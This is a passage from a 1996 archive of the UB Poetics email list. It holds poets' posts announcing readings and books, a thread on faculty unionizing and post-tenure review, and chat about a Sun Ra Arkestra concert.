> > Regent John F. Munger said he understood the need for flexibility
> > in the time limits, but he feared legal troubles if a faculty
> > member was only given one year to improve.
> >
> > "A faculty member is going to say, 'Well, I need three years,'" he
> > said. "Probably in every case, they are going to say that. I think
> > we need a specific plan."
> >
> > He said he supported one-year plans, with provisions for
> > exceptions. He said he did not want the universities to have to
> > prove they were not "arbitrary and capricious."
> >
> > While having benchmarks to measure improvements is good, he said
> > they do not help students.
> >
> > Schmitt also brought up student evaluations, which is not mentioned
> > in the individual universities' documents.
> >
> > "Not only should student input be considered, but post-tenure
> > reviews should contain and seriously con-sider student input," he
> > said.
> >
> > Regent Donald Ulrich held up an Arizona Daily Wildcat article and
> > questioned the logic of disregarding the views of students.
> >
> > "I have never heard of asking the customer about what is wrong with
> > our service or our business and then when they tell you, you say
> > great but we aren't going to pay any attention to it," Ulrich said.
> >
> > The report, with modifications as directed by the board, will be
> > brought back to the regents for its Dec. 10 meeting at the UA.
> >
> > In other action, the regents:
> > * Approved revising the fiscal year 1997 state operating budget
> >   expenditure authority due to an enrollment drop at the UA of 1,312
> >   full-time equivalents and enrollment increases at ASU. Also
> >   approved the fall update to the state all funds budget to include
> >   the revisions made in the state operating budget. Both budget

> > requests must be forwarded to the Legislature and governor for
> > consideration.
> > * Took the first step toward including additional requirements to
> > recipients of undergraduate non-resident tuition waivers. Policy
> > changes include freezing the number of waivers awarded at current
> > levels and a community service requirement for recipients of 20
> > hours per semester. The proposal must be heard, without changes
> > being made, at the December meeting, with a final vote to
> > implement the policy expected no sooner than the Jan. 14 -15
> > meetings at ASU.
> > * Approved a plan to change the salary structure at the
> > universities. The plan, to spend $47.5 million over a three year
> > period, should bring faculty salaries up to those of 50 percent of
> > the staff at peer institutions. The plan will be submitted to the
> > Legislature and governor for consideration.
> >
> > _____
> >
> > (NEXT_STORY) [Daily Wildcat]
> >
> > _____
> > (NEXT_STORY)
> >
> >

↑ Index

89. F.A. Templeton

Readings in Cambridge, England

Tue 5 Nov 1996

In case anyone is on the list and in the vicinity:

Nov 7, 7 pm, Rempress at PoNaNa, 7b Jesus Lane: HAZEL SMITH, OUT TO LUNCH
& SIMON FELL, WITH JAMES LUCAS
Nov 13, 5pm, English Faculty, 9 West Rd, FIONA TEMPLETON
Nov14, 7 pm, Rempress as above, ABIGAIL CHILDS, MILES CHAMPION
Nov 21, 7pm, Rempress, JOHN JAMES,STEPHEN RODEFER, WITH KESTON SUTHERLAND
Nov 28, 7pm, Rempress, REMPRESS LAUNCH: KARLIEN VAN DEN BEUKEL, readings from JENNIFER MOXLEY & BETH ANDERSON, AND ANOTHER READER
TBA

Dec 5, 7pm, Rempress, BRIAN CATLING,IAIN SINCLAIR, WITH ROBERT BOND

Rempress eds: Lucy Sheerman, Karlien van den Beukel

↑ Index

90. Burt Kimmelman
Calling magazine editors for a round table panel
Tue 5 Nov 1996

I have in front of me a flyer advertising and soliciting participation in the "Poetry and the Public Sphere" conference that has already been mentioned on this list, and which will take place from 4/24-4/27 1997 at the Rutgers New Brunswick campus.

I am interested in proposing to the conference coordinators, as soon as humanly and electronically possible, a round table discussion by 4 or 5 magazine editors. The topic would be something like, say, "The Perils and Pleasures of Avant-Garde Publishing" (no, the title need not be so sugary or whatever). Anyone interested should please contact me asap.

Here's the verbatim from the flyer, as it concerns the above:

"Detailed proposals for roundtable discussions (no more than four people) to consist of five minute remarks and a moderated discussion. You may provide names and brief profiles of chair and three or four panelists, plus a two- page proposal describing the topic, approach, and intended contribution of each discussant."

As you can see from this passage directly above, the proposal will have to be substantial. So any feedback, alternate suggestions for the panel's focus, or anything else you can think of is most welcome by me. Keep in mind what the title of the conference is (i won't take the time to keystroke the suggested topics printed on the flyer).

Burt Kimmelman, Senior Editor
Poetry New York: A Journal of Poetry and Translation
[redacted]

↑ Index

91. Joe Amato
Re: constabulary notes from all over
Tue 5 Nov 1996

"faculty development plan"?

"performance improvement plan"?

how on earth is this not to reduce to a rather brutal you-do-this-or-you're-out edict if it's instituted within an existing tenure & promotion system that has historically provided for little if any faculty-based input into such 'plans'?... sounds like it's been modeled on a rehab program... seems to me it would be better to really start talking about teaching and learning as such, and not continually sidestep same on the basis of a research ethos... which latter i wouldn't give up on either, given the current privatizing pressures... but given that the above would seem to be a foregone conclusion, it seems to me that arizona has missed its opportunity, this time 'round, for talking teaching...

so listen tenney, and others so interested: perhaps it's time to consider, seriously, collective bargaining... no point in pretending any longer that teachers are not workers, or pretending that profs can 'discuss' the intellectual merits of such actions (which reaction i've heard so often these days that it almost chokes me)... this isn't a matter of intelligent, give & take discussion---this is a power issue... when we've restored some balance of power, *then* we can talk with our admins, students, etc, about how to teach... hear tell the columbia u. alf-cio/faculty meet went down well (in the words of a gent i know who was in attendance, "it rocked")... anybody out there have any additional info. on same? (other than what was reported in the chronicle, i mean)...

my feeling right along has been that we profs should use the nets to cultivate unionizing... does anybody know who we can talk to regarding same?---i mean, if there's a specific effort underway to nationalize such efforts?... i'm aware of different teaching unions (and right now i'm tilted toward the nea) but i'm unaware of any specific trans-regional agenda...

we probably should expect that the move to unionize will be met with some federal resistance too, even if clinton is re-elected... technically the feds have to support local such efforts (through fmcs, i think it is), but legislatively, politics is politics...

mebbe this should be a backchannel matter?... i've appended some e-list info that seems appropriate... that list was supposed to have been set up for a conference this past september, which i didn't attend (did any of you?)... note that i subbed well before the conference, but never heard a word back (except that subbing was not automatic, and that my sub request had been forwarded to a list moderator for approval)... in any case, i think we need more of this sort of thing...

anyway, hey, happy election day to all!...

joe

E-Mail List for Faculty Organizing to Resist Attacks on Higher Education

An e-mail list has been created for faculty members on college campuses who are interested in organizing a response to attacks on higher education, and to promote a conference (see program below) on September 28, 1996 in Cambridge, MA titled "Resisting Attacks on Higher Education and Social Justice: A Faculty Conference."

This e-mail list is called CAN-FAC, short for Campus Activists' Network, Faculty Discussion. It is sponsored by Teachers for a Democratic Culture and the Center for Campus Organizing, and facilitated by Judy Ashley at the University of Vermont ([redacted]).

While much of the discussion until the 28th will focus on outreach for the conference, topics appropriate for this list include attacks on the tenure system, debates over "political correctness", the campus climate for progressive faculty members, pressure campaigns by conservative alumni, and recent congressional action defunding student aid, humanities, and civilian science programs.

1. TO SUBSCRIBE to the list, send e-mail to: [redacted]
   with a subject of "canet" whose body just says:
   sub can-fac Firstname Lastname

2. TO SEND A MESSAGE to the list, e-mail it to:
   [redacted]

   with a subject of "canet" whose body ONLY says:
   unsub can-fac

4. If the volume of mail on this list becomes too large, you can always change your subscription to a "digest" (1 big message per day) by sending e-mail to: [redacted] with subject "canet" and body: set can-fac mail digest

   To undo this use "ack" in place of "digest".
   To suppress mail for the summer, use "postpone" in place of "digest".

For more information on CANET, send any message to:
[redacted]

If you have any other questions, please contact the facilitator.

(see below for conference info)

==========
==========
Center for Campus Organizing
Box 748, Cambridge, MA 02142 [redacted] 10am-6pm
[redacted] Web: http://envirolink.org/orgs/cco

--*-

Resisting Attacks on Higher Education and Social Justice:
A Faculty Conference

Saturday, September 28, 1996, 9am-5:30pm
Massachusetts Institute of Technology Room 10-250
77 Mass. Avenue, Cambridge

Cosponsored by the Center for Campus Organizing and Teachers for a Democratic Culture

The Event

The Center for Campus Organizing, Teachers for a Democratic Culture, and the Thistle Newspaper at MIT invite you to Boston on Saturday, September 28 to discuss ways to resist agendas that would cut back higher education, reshape the academy, and censor topics from discussion that do not fit the vision of the corporate and religious right.

This will be a participatory event involving faculty from CUNY, Harvard, Bennington, Goddard, Yale, Adelphi, Univ. of Mass, BU, Manchester College, Univ. of Vermont, and dozens of other schools.

Center for Campus Organizing * Box 748, Cambridge, MA 02142 [redacted] * Rich Cowan, [redacted]

↑ Index

92. wheeler
Snakeskin robe
Tue 5 Nov 1996

Shakespeare buffs: "snakeskin robe" ring a bell?

Susan Wheeler

↑ Index

93. Charles Alexander
arrival
Tue 5 Nov 1996

Dear Poetics List Folk:

Having been away from the net & this poetics list for almost 3 months now, it's a pleasure to report in once again and catch up with current conversations.

I also want to apologize to anyone who ordered books in July or early August who may have been served less than well due to difficulties of a move from Minnesota to Arizona which is still, in some ways, in progress, as we still don't have a permanent place to live and many things, including Chax books, are still in

boxes. But the situation is getting better, so please let me know if you've had any problems.

And, now here, with two new books available (previous posts in the summer announced these books as "forthcoming"), I'd like to offer to anyone on the list the ability to purchase these books from us here at the new address.

I.
Tom Mandel
Prospect of Release
retail $12.95
available to poetics list members & friends (tell anyone) for $9.00
(includes shipping/handling)

from the book:

We malign those who disappear, their
realm is small, yet invoke their names
as our lives evoke theirs, words into
statement. Arms wrapped to the shoulder

in eternity, they cannot follow words.
Instead, our course changes to near
their grounds. Refracted in such frame,

prolific transcendent fatherly healed
cured constant, like indifference, does
affection prove illusion? No beaten

path nor Autobahn leads this way. A
letter, reflected in flame, senses
shoots to send. Unknowable, cemetery grass,
be wise -- forget what we have known.

2.

and, just received from printer/binder:

Hank Lazer
3 of 10
retail $14.00
available to poetics list members & friends (tell anyone) for $10.00
(includes shipping/handling)

from the book:

8 "He had to hide from himself the pent-up anger of having his ambitions foiled."

9"Viewed in this light, it is no accident that suicides are so common in the spring."

10 "In human intercourse the tragedy begins not when there is misunderstanding about words, but when silence is not understood."

11 "Let your life be a counter friction to stop the machine."

12 "When you travel to the celestial city, carry no letter of introduction."

13 "Whenever he got too close to success, he was not only exhilarated but scared."

14 Fuchsia Farmers of America.

15 "This strange man, rumor said, had written a book no copy of which had ever been sold."

16 To travel means to become intensely aware, by contrast, of wasted opportunities at home.

17 When on foot for great periods of time, he became acutely subject to the weather, the condition of his knees, and the availability of restrooms.

18 "The fruit a thinker bears is *sentences.*"

And if anyone plans any trips to Arizona or nearby, please let me know well in advance. Perhaps readings can be set up.

all best,

charles alexander
chax press
[redacted]

---------- || Come ride The River -------
http://www.theriver.com/ || ----------

↑ Index

94. Ian Wilson
Publication Reading
Tue 5 Nov 1996

--IMA.Boundary.329912748
Content-Description: cc:Mail note part

___PUBLICATION ANNOUNCEMENT___

I'll be among the readers at the publication reading for:

THE NORTHRIDGE REVIEW

Friday
December 6, 1996
7PM
California State University - Northridge
BE101 - Business & Education Lecture Hall
(corner of Plummer St. & Etiwanda Ave.)
information - [redacted]

Full information with graphics!! on the attached .pdf file.

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://users.aol.com/ibar88/private/story/index.htm
--IMA.Boundary.329912748
Content-Description: Unknown data type

--IMA.Boundary.329912748--

↑ Index

95. Charles Smith

Fwd: Show at Berkeley Art Center: Science Imagined, 10/30--12/29

Tue 5 Nov 1996

I haven't yet seen this show, but thought others might be interested:

Forwarded message:
From: [redacted] (AL RUBOTTOM)
collecting)
collecting)
To: [redacted] (Multiple recipients of list BOOK_ARTS-L)
Date: 96-11-04 16:37:43 EST

-- [From: Al Rubottom * EMC.Ver #2.3] --

DO NOT MISS THIS SHOW! if you're anywhere within range by year's end:

A *fabulous* artists book show just opened at the Berkeley Art Center Assoc., located in Live Oak Part, 1275 Walnut Street, in (north) Berkeley, California. Sibyl & I attended the opening reception on Sunday and were duly impressed with the high quality of all the work displayed, the marvelous mounting of the show [kudos to BACA staff & helpers for a job well done], and the very intriguing schedule of additional events in conjunction with the show.

The show will run through 29 December, Wed. - Sun. 12 - 5 p.m. This short announcement is copied from the BACA Newsleaf:

A stunning exhibition of artists books, a number of them collaborations with scientists, opens at BACA on Wednesday, Ocober 30.

"Science Imagined" invited the exploration of scientific principles and imaginative
illustration of artists' understanding of those principles. The books produced
for
the exhibition are truly astonishing in the range of scientific subjects explored and
the variety of presentations.

Work was selected in two ways: a core of invited artists was asked to prepare a piece relating to the subject, and a call for entries was distributed nationally and internationally. The responses have been surprising and often moving. Jurors Susannah Hays (who also curated the invited portion); Robin Rider, Historian of Science and Curator of Special Collections at the Univ. of Wisconsin; and BACA director Robbin Henderson selected nearly 30 books from over 60 submitted.

Books came from as far away as the Netherlands, U.K. and Canada, as well as from across the U.S. and from the presses of many local artists. Participants number nearly 80 and include Leda Black, Nance O'Banion, Marylee Bytheriver, Julie Chen, SAS Colby, Dale Going, Georgianna Greenwood, Charles Hobson, Michael Henninger, Lisa Kokin, Meredith Mustard, Lynne Prather, Joyce Cutler-Shaw, Jaime Robles, Anne Schwartzburg, Judith Serebrin, Indigo Som, Joanne Sonnichsen, Donna & Peter Thomas, F. Deschamps and J. Mohns, Elena Rivera, Diane Jacobs, Michael O'Shea, Nancy Ruth Leavitt, Dorothy Yule, and many others. [including Sibyl Rubottom, James Machacek, Steve Nosaan, and Sara Rosenbluth of San Diego!]

A lovely catalog is available for $15.
The special events planned in conjunction with the exhibition's run include:
Readings from the books, Tues., Nov. 12, 7:30 p.m.
Collaborations, Artists & Scientists, Thurs., Dec. 19, 7:30 p.m.

Berkeley Art Center
1275 Walnut Street
Berkeley, CA 94709
[redacted]

easily found from I-80:
take Gilman exit and go east/inland, note that Gilman merges into Hopkins, follow Hopkins until Walnut, et voila! [check for directions from BACA if needed]
or, go one block from Black Oak Books/The Cheeseboard/Chez Panisse up to

Walnut
(Peet's is at corner of Walnut & Rose), and proceed north on Walnut
a few blocks 'til you come upon Live Oak Park on your right...

↑ Index

96. **cris cheek**
Re: Jah Wobble/William Blake
Tue 5 Nov 1996

Settings of Blake by Wobble. Considered too un-commercial
by his label and therefore released courtesy of Jah her selves.

↑ Index

97. **Sylvester Pollet**
National Poetry Foundation Website Improved!
Tue 5 Nov 1996

The graphics will download much more quickly now. Thanks to several people for alerting me to the problem--especially Dean Taciuch,for his suggestions. I've added another graphic, and some announcements, to the Bulletin Board, and have more to add as soon as I can figure out how to make that little doggy in the FETCH program run back and forth. The address again:
http://www.ume.maine.edu/~npf/

↑ Index

98. **Pritchett,Pat**
Re: National Poetry Foundation Website I
Tue 5 Nov 1996

---

test

From: Sylvester Pollet
To: Multiple recipients of list POETICS
Subject: National Poetry Foundation Website Improved!
Date: Tuesday, November 05, 1996 2:33PM

The graphics will download much more quickly now. Thanks to several people for alerting me to the problem--especially Dean Taciuch,for his suggestions. I've added another graphic, and some announcements, to the Bulletin Board, and have more to add as soon as I can figure out how to make that little doggy in the FETCH program run back and forth. The address again:
http://www.ume.maine.edu/~npf/

↑ Index

99. **Mark Roberts**

(FORWARDED) AWOL: PUSHING AT SILENCE By Andrew Burke

Tue 5 Nov 1996

>Date: Wed, 6 Nov 1996 06:59:25 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: PUSHING AT SILENCE By Andrew Burke
>
>The following informationhas been posted by AWOL on behalf of FOLIO and
>Andrew Burke. Please address any enquiries to them at the contacts
>provided.
>
>
>**********
>
>
>TITLE: PUSHING AT SILENCE
>PUBLISHER: FOLIO (SALT)
>AUTHOR: ANDREW BURKE
>PUB. DATE: November 3rd, 1996
>DISTRIBUTION: Through AWOL PO Box 333 Concord NSW 2137 or by mail
to FOLIO
> (SALT) Po Box 202,Applecross WA 6153
>PRICE: $16.95 (Buy a second copy to lend to friends!)
>
>This is Andrew Burke's fourth collection.
>
>Dorothy Hewett says: "Succinct, quirky, economical, with its moments of
>piercing recognition, Andrew Burke's latest collection, PUSHING AT
SILENCE,
>breaks my heart.Is it because it is about the little city I grew up in, the
>one with the river, or is it because the past haunts him like it does me,
>with its lost childhood, its dead parents, its changed landscape and its
>everlasting hopefulness ...?"
>
>
>
>
>**********
>**********
>

>
>
>
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

100. Mark Roberts
AWOL November Happenings posted
Tue 5 Nov 1996

Anyone interested in writing events in Australia, or the latest latest Australian literary magazines & publications, can find the November HAPPENINGS listing on the Australian Writing On Line website
http://www.ozemail.com.au/~awol/Happenings.html

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

↑ Index

101. Gabrielle Welford
buy nothing day (fwd)
Wed 6 Nov 1996

---------- Forwarded message ----------
From: "joy n. kogawa" <[redacted]>

In solidarity with Adbusters "cast off the chains of market-structured consciousness" and Participate by Not Participating on INTERNATIONAL BUY NOTHING DAY NOVEMBER 29, 1966, a twenty-four hour moratorium on consumer spending to remind us all of the real power of the buying public.

↑ Index

102. Ken Edwards
Literary culture
Wed 6 Nov 1996

Belated apologies to everyone: Robin Purves, Ron Silliman and the rest of the list, for giving the impression inadvertently (through lack of proper contextualisation) that I imagined Ron was berating James Kelman for obscenity!

And welcome to the list, Robin. Subscribers should note that Robin is one half of the editorial partnership that produces the excellent magazine OBJECT PERMANENCE, one of the sparkiest things in the British Isles right now.

Ken

↑ Index

103. Ken Edwards
gobbledygook
Wed 6 Nov 1996

Please, please... can people confine their postings to this list to straight vanilla email text. For those of us who get the Digest version, anything else results in bloated files and us having to scroll through yards of computer code.

↑ Index

104. Ken Edwards
SubVoicive
Wed 6 Nov 1996

Great reading last night by Robin Blaser at SubVoicive, The Three Cups pub, Holborn, London. His first in London, I believe. He was in fine form, reading

extensively in two half-hour sets from his collected poems THE HOLY FOREST. There was some discussion about how to acquire this magnificent book, which is hard to get hold of in the UK due to Coach House Press' demise. Lawrence Upton suggested putting pressure on Compendium Bookshop to import copies from whichever warehouse they're sitting in.

Thanks to Peter Quartermain and David Bromige for alerting us to Robin's arrival in this country (he was appearing in the Six Towns Poetry Festival, Newcastle under Lyme) and so enabling us to arrange a London gig.

There were about 30 people present, which, as those of you who know the Three Cups upper room, means quite a degree of intimacy. Among the audience: Sandy Kindness, Johan de Wit, Gavin Selerie, Brian Docherty, John Cayley, Patrick Wright, Bob Cobbing, Will Rowe, Harry Gilonis, Peterjon and Yasmin Skelt, Geoffrey and Valerie Soar, Robert Sheppard, David Miller and our host Lawrence Upton. Apologies to those whose names I forgot.

Readings coming up at SubVoicive:

19 Nov Michael Heller
10 Dec Quick hits (open reading for regulars)
14 Jan Allen Fisher (the Eric Mottram annual memorial reading)

The Three Cups is in Sandland Street, near Holborn tube station. All readings start at 8.00 for 8.15pm.

Also coming up:

Reality Street Editions presents a reading
to launch the new "4packs" anthology

SLEIGHT OF FOOT

Miles Champion, Helen Kidd and Harriet Tarlo will be reading. Scott Thurston, also included in the book, is, unfortunately for us, in Poland.

Tue 26 Nov, 7.00pm at Compendium Bookshop, 234 Camden High St, London NW1 FREE (refreshments provided)

Ken Edwards

↑ Index

105. Jordan Davis
Snyder / Wieners
Wed 6 Nov 1996

Tonight at Columbia, Gary Snyder
Tomorrow at Poetry City, John Wieners

If Eleni Sikelianos weren't reading with John Wieners
how would you know what year it is. How do you know.

116 & B'way free
5 Union Sq W NYC [redacted] free

Never listen to acceptance speeches,
Jordan

↑ Index

106. **Jeff Hansen**
(no subject)
Wed 6 Nov 1996

EXTRA EXTRA READ ALL ABOUT IT

POETI BRIEFS 21 IS IN THE MAIL

SPECIAL ISSUE ON ALICE NOTLEY AND VISION

COMMENTARY BY HENRY GOULD, CONNIE DEANOVICH, ELIZABETH BURNS, JULIANA SPAHR, DAN FEATHERSTON, LOSS GLAZIER, BOB GRUMMAN, ED FOSTER

FOR YOUR VERY OWN COPY, SEND TWO STAMPS TO JEFFERSON HANSEN, 4055 YOSEMITE AVE. S, ST. LOUIS PARK, MN 55416.

FOR A SUBSCRIPTION, SEND A BOOK OF STAMPS.

FUTURE ISSUES WILL FEATURE THE WALLACE-HANSEN DIALOGUES AND A REVIEW OF THE DADA PHOTOMONTAGIST HANNAH HOCH'S FIRST AMERICAN EXHIBIT

DON'T MISS ANY OF IT

JEFF

↑ Index

107. **maria damon**
Re: Snyder / Wieners
Wed 6 Nov 1996

---

jordan, are these readings ever taped? any recent tapes of wieners that anyone knows of?--md

In message <v01530502aea63e59ae33@[166.84.199.56]> UB Poetics discussion group
writes:
> Tonight at Columbia, Gary Snyder

> Tomorrow at Poetry City, John Wieners
>
> If Eleni Sikelianos weren't reading with John Wieners
> how would you know what year it is. How do you know.
>
> 116 & B'way free
> 5 Union Sq W NYC [redacted] free
>
> Never listen to acceptance speeches,
> Jordan

↑ Index

108. maria damon

sun ra

Wed 6 Nov 1996

---

saw sun ra's surviving arkestra at cramped little joint last night in mpls, never seen before by moi, very good, transformative energy, moving. "the saints were marching in" when these middle aged profound musicians put on their sparkly space-hats and plastic choir robes and chanted "the earth is not my home," and "space is the place," and "sunset on the river Nile." all white audience practically, that worshipful bouncy look of mouthing the words along, the ones who weren't too drunk or lovey-doving with their hetero-partners. very much cool how these guys interacted with each other organically very.--md

↑ Index

109. Henry Gould

upcoming RI reading

Wed 6 Nov 1996

Karen Donovan & Walker Rumble of Oat City Press will read, & show around their letterpress work, this Friday Nov 8th at Native Gallery, 387 Charles St, Providence. 8 pm, immediately following the opening for the gallery's November photo exhibit. Pass-the-hat, lots of food, enormous gallery space (actually larger than the state of Rhode Island). call [redacted] for directions. Sponsored by ye Poetry Mission. Last gallery reading until Feb '97.

↑ Index

110. Aldon L. Nielsen
Re: sun ra
Wed 6 Nov 1996

Would like to hear more about the Sun Ra Arkestra Concert -- Like, for example, who is playing the keyboards in the absence of the once and future myth?

Grew up watching this band in D.C., where all black (well, not exactly, since I was there) audiences were then the norm -- There was also a guy named Norm who used to come to the shows come to think of it --

Does Jackie Jackson still play Bassoon and Ancient Egyptian Infinity Drum?

What's the front line like without June Tyson, Marshall Allen, Pat Patrick, John Gilmore?????

Has anybody else seen a concert anywhere since Ra's return to whatever plane beyond Alabama he emanated from?

AND -- Rhapsody Films recently released on vide cassette the remarkable movie _Space Is The Place_ a sort of Ra Blaxploitation era film not to be missed --

Evidence records just released a two CD set of Ra singles, including his Do Wop productions and the unforgettable "I'm Gonna Unmask the Batman"

Ra, by the way, frequently worked with poets -- though his collaboration with Baraka blew up when the Harlem Blackhouse project went bust --

Heliocentrically yours,
Aldon

↑ Index

111. Alexander Laurence
Cups Magazine
Wed 6 Nov 1996

Cups Magazine is announcing that its upcoming January Issue will feature the strongest selection of writing ever in its history.

Cups Magazine will be celebrating its one year anniversary in New York City by publishing an anthology of some of most important writers to ever grace its pages.

This special issue will include new work by William T. Vollmann, Rikki Ducornet, Gilbert Sorrentino, Jacques Servin, Stephen Dixon, Richard Grossman, Dean Kuipers, Shirley Jackson, Jillian St Jacques, Donald Grose, Eric Darton, Alexander Theroux, Elaine Equi, Richard Kostelanetz and others.

****

Cups is a free monthly publication distributed in cafes and bookstores in New York City and The Bay Area. Over 50,000 people read Cups each month, and has been in existence for over the last five years. Cups reflects the cafe-goer's passion for literature, art, music, off-beat entertainment. Besides poetry and fiction, each issue includes an interview with a contemporary writer and/or musician. Recent issues featured interviews with Siri Hustvedt, Peter Theroux, Steve Erickson, Stewart Home, Martin Amis, Ronald Sukenick, Alexander Theroux, Art Spigelman, Bruce Benderson, Mary Gaitskill, Thom Jones, Dennis Cooper, Nicholson Baker, Janice Eidus, Gilbert Sorrentino, Carl Rakosi, Will Alexander, Mark Leyner, Henry Rollins, Allen Ginsberg, Arthur Blythe, and Townes Van Zandt.

New York Office:

Cups Magazine
10 East 39th Street
New York, NY 10016
[redacted] voice [redacted] fax
[redacted]

Cups Editors: Alexander Laurence, Christopher Sorrentino, Thomas Lecky, Eurydice, Carl Watson, Missy Miller, Katherine Katsens, Phillippe Blondez, Rebecca Nayery, Heather Bradshaw

↑ Index

112. Bill Luoma

Jenney

Wed 6 Nov 1996

I like stories about abandoned cars.

From Joe Torra's new novel Gas Station. Zoland Books. Cambridge, Mass. 11.95.

Morning snowdrifts five six feet high across the station lot still snowing radio stations on storm emergency Blackie fixes the plow piston I shovel two-feet-wide strip around pump island, another two feet away from the building, my father plows one long pile into bigger piles ten feet high front and rear of the station. Interstate 93 closed blocked hundreds of cars abandonned must be cleared for plow trucks most of the abandoned cars are locked we have to struggle with a coat hanger to get the doors open Blackie and I returning to the station in the tow truck with a car on the boom my father's broken English over the radio WBZ emergency hotline tella de people no locka de cars whenaday leavem onnada highway we laugh out loud tella de people no locka de cars Blackie mocks. We tow twenty-four hours straight thirty-three cars in the lot

nowhere to put more my father charges twenty-five for the tow fifteen a day storage some argue too much but want their cars back and pay.

↑ Index

113. **maria damon**
Re: sun ra
Wed 6 Nov 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Would like to hear more about the Sun Ra Arkestra Concert -- Like, for
> example, who is playing the keyboards in the absence of the once and
> future myth?

i don't know enough abt the band to be able to say. all i know is that marshall allen was there directing. i only know this cuz i was with friends who are avid ra-sters who told me.
>
> Grew up watching this band in D.C., where all black (well, not exactly,
> since I was there) audiences were then the norm -- There was also a guy
> named Norm who used to come to the shows come to think of it --

cool.
>
> Does Jackie Jackson still play Bassoon and Ancient Egyptian Infinity Drum?

someone was, but don't know who.
>
> What's the front line like without June Tyson, Marshall Allen, Pat
> Patrick, John Gilmore?????

at least allen was there, perhap some of the others you name as well.
>
> Has anybody else seen a concert anywhere since Ra's return to whatever
> plane beyond Alabama he emanated from?
>
> AND -- Rhapsody Films recently released on vide cassette the remarkable
> movie _Space Is The Place_ a sort of Ra Blaxploitation era film not to
> be missed --

my friends have copies of all this stuff so i'll get a chance to hear/see...
md
>
> Evidence records just released a two CD set of Ra singles, including his
> Do Wop productions and the unforgettable "I'm Gonna Unmask the Batman"

>
> Ra, by the way, frequently worked with poets -- though his collaboration
> with Baraka blew up when the Harlem Blackhouse project went bust --
>
> Heliocentrically yours,
> Aldon

↑ Index

114. **maria damon**
m davidson's e-address?
Wed 6 Nov 1996

---

cd someone backchannel me michael davidson's e-mail address? i need to get info again on those ucsd special collections travel grants. thanks, md

↑ Index

115. **Tosh**
Re: sun ra
Wed 6 Nov 1996

Since the subject matter of Sun Ra has come up: A friend of mine is looking for vinyl copies of Sun Ra's work. Are there any locations that are hot and full of vinyl product?

You may want to backchannel this info to me. thanks.

tosh

↑ Index

116. **Tristan D. Saldana**
Yi-Young Lee
Wed 6 Nov 1996

Mr. Lee is reading here at Cal State Northridge tomorrow, at the Music Recital Hall at 4:30 PM.

Tristan

↑ Index

117. **Mark Roberts**
(Forwarded) AWOL: Hazel Smith Abstractly Represented for sale
Wed 6 Nov 1996

Please send all enquiries to [redacted] and not the list please.....

>Date: Thu, 7 Nov 1996 06:53:01 +1000
>To: [redacted]
>From: [redacted] (awol)
>Subject: AWOL: Hazel Smith Abstractly Represented for sale
>
>*
>
>Now available through AWOL.....
>
>
>Hazel Smith Abstractly Represented: Poems and Performance Texts 1982-90,
>Butterfly Books, 1991
>
>ISBN 0 947333 36 3
>
>$10.00 (Australian)
>
>About Abstractly Represented
>
>In Abstractly Represented Hazel Smith explores the plasticity of language
>in new and radical ways. Eroding and transforming conventional ways of
>using words she produces complex linguitsic structures in which sound and
>association are paramount. The works in this volume range through
>dismembered and reassembled narratives to performance pieces with words
>notated in musical rhythms. They draw on, and can be appreciated within, a
>long tradition of poetry. But at the same time they invert and dismantle
>that traditon, challenging in startling and stimulating ways the whole
>notion of what it means to read a poem, of what a poem actually is.
>
>
>Short biography
>
>Hazel Smith, who lived in England until she moved to Australia at the end
>of 1988, works in the areas of poetry, experimental writing, text-sound,
>performance and multi-media work. She has published in numerous
>international poetry magazines. Her volume Threely was published by the
>Spectacular Diseases Imprint in 1986, and her volume Abstractly
>Represented: Poems and Performance Texts 1982-90 was published byButter-
fly
>Books in 1991. Some of her work was included in the 1991 anthology Floating
>Capital: New Poets From London, Potes and Poets Press, U.S.A in the volume
>Compositions for Improvisors, La Trobe University Press, 1994. Her CD Poet

>Without Language was released on Rufus Records, Sydney, in 1994.
>
>Hazel has given poetry performances in many countries including Australia,
>Great Britain, USA, Belgium and New Zealand, and also on the ABC, BBC and
>US radio. In Australia she has appeared at the Tasmanian Poetry Festival,
>1989; Writers in Recital at the Art Gallery of New South Wales, Sydney,
>1990; The Queensland Writers' Centre, 1992; the Perth Writers' Centre 1994;
>the Performance Space Sydney, 1994; the NSW Writers' Centre Festival,
>Sydney, 1995; and many other venues. In 1990 she collaborated with
>Sieglinde Karl and Graham Jones on the installation-performance piece
>TranceFIGUREd Spirit, which was supported by the Australia Council and
>performed in Tasmania. She has collaborated on several pieces with
>musician Roger Dean and their works Poet Without Language, Silent Waves,
>Caged John UnCaged and Nuraghic Echoes have been commissioned by, and
>featured on, the ABC programs The Listening Room, Random Round and
>Jazztracks. Their work has also been broadcast on Radio France, and on New
>Zealand radio. Their piece Poet Without Language was nominated by the ABC
>for the Prix Italia in 1993. Their new CD, Nuraghic Echoes, will be
>released by Rufus Records in 1996.
>
>Hazel has a PhD in contemporary American poetry and is a lecturer in the
>School of English at the University of New South Wales. She has published
>numerous articles on contemporary poetry and performance, and is co-author
>with Roger Dean of the book Improvisation, Hypermedia And The Arts Since
>1945 to be published by Gordon and Breach in 1996. She is currently
>writing a book on the New York poet Frank O'Hara for Liverpool University
>Press. She has also been an internationally active violinist and leader of
>the contemporary music group austraLYSIS. She has performed solos and
>chamber music in many parts of the world including Australia, Belgium,
>Denmark, Great Britain, Hong Kong, India, Indonesia, New Zealand, Norway
>and the Philippines. She features as soloist on several commercial
>recordings, including two of works by Milhaud.
>
>Feature articles on Hazel have appeared in 1995 in HQ Magazine, Real Time,
>Sounds Australian, The Australian Women's Book Review and Southerly. A
>special edition of Pages (UK) was also devoted to her work. In March 1996
>she appeared at the Salamanca Poetry Festival in Hobart, where she both
>performed her own work and took part in a panel on experimental poetry
>chaired by Philip Mead. Her work is also featured in a collaborative
>installation with accompanying publication, Secret Places, funded by Arts
>Tasmania which was exhibited in Launceston during March and April 1996 at
